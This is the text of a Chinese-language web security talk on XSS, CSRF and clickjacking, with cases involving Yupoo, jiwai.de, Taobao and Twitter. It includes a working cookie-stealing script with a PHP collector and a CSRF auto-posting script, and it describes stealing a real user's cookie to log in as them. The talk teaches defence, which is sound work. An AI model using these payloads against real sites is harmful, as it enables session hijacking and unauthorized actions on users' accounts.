Professional Documents
Culture Documents
明城
关于
明城
2
安全第一
3
4
内容提要
• 常见攻击手法
– XSS
– CSRF
– Clickjacking
• 综合案例
• Q&A
我们的航海图
XSS,潘多拉的造盒匠
XSS 不像 CSS 那么优美
• 盗取用户Cookie
• 修改页面DOM
• 作为其他攻击的跳板
•…
案例
Yupoo 的 XSS 漏洞
漏洞利用原理
不要小看这个 alert,这表明你已经拥有了对这页面的控制权!
构建攻击脚本
客户端(Javascript)
var img = new Image();
img.src = 'get_cookie.php?var='+encodeURI(document.cookie);
服务器端(PHP)
<?php
if (isset($_GET['var'])) {
file_put_contents('./cookie/'.time().'.txt',
urldecode($_GET['var']));
}
“不是技术问题”的技术问题
事情到这步,
就不仅要看人品,更要看相貌了!
“鱼”上钩了!
于是乎,通过这个XSS漏洞,我们就获取
到了这家伙的Cookie。
伪造 Cookie 并模拟登录
那么,如何防范 XSS
•“金钟罩”白名单机制
• 人件
参考资源
• http://en.wikipedia.org/wiki/Cross-site_scripting
• http://www.gracecode.com/archives/2517
• http://www.gracecode.com/archives/2491
• http://ha.ckers.org/xss.html
• http://www.xssed.com/
CSRF,苏醒的巨人
学术化的定义
借用被攻击者在目标站点上的权限,进行
不被期望的操作。
“杯具”如何发生?
使用客户端脚本自动提交叽歪未经验证的表单
分析代码(HTML)
分析代码(JS 部分)
构建表单
<form action="http://jiwai.de/wo/status/update"
method="post">
<textarea name="jw_status"></textarea>
<input type="submit" />
</form>
测试表单
• 测试表单提交通过
• 同时发现 叽歪 并不区分 GET 和 POST 请
求
• 第二点是致命的
升级攻击脚本
setInterval(function() {
var img = new Image();
var message = '明城很帅';
var api = 'http://jiwai.de/wo/status/
update';
img.src = api + '?jw_status=' + message +
'&t=' + +new Date();
}, 1000);
剩下就是相貌问题了
“小姑娘,帮叔叔打开个页面好不好?”
软磨硬泡后… 得手了!
又轮到淘宝了…
构建表单,发送 POST
访问后,发生了什么?
然后呢?
那么,如何防范 CSRF
• 严格的来源请求(Referer)
参考资源
• http://en.wikipedia.org/wiki/Cross-site_request_forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://www.80sec.com/csrf-securit.html
• http://www.playhack.net/view.php?id=31
Clickjacking, 隐身的吸血鬼
原理
配合用户无意识的交互行为进行的攻击
案例
Twitter 的 Clickjacking 攻击
“漏洞”利用原理
• 考虑页面被嵌入的情况
• 验证请求来源
再次“八卦”下淘宝
其他攻击方式
综合攻击案例
海内的 CSRF 蠕虫攻击
来点“和谐”的
淘宝的案例
问题:如何给第三方应用传送信息,但不泄漏
本站所有信息(Cookie、Session等)?
XSS & CSRF 的“妙用”
• 在第三方插入段淘宝的“JS 脚本”
• 淘宝收到请求,并判断用户登录状态
• 根据登录状态跳转到淘宝页面或者输出对应的数据
路在何方?
Q&A
联系方式
var 明城 = {
Gtalk: i.feelinglucky#gmail.com,
Twitter: @feelinglucky,
Blog: http://www.gracecode.com/
}
'alert(/tHx/)'.replace(/.+/, eval);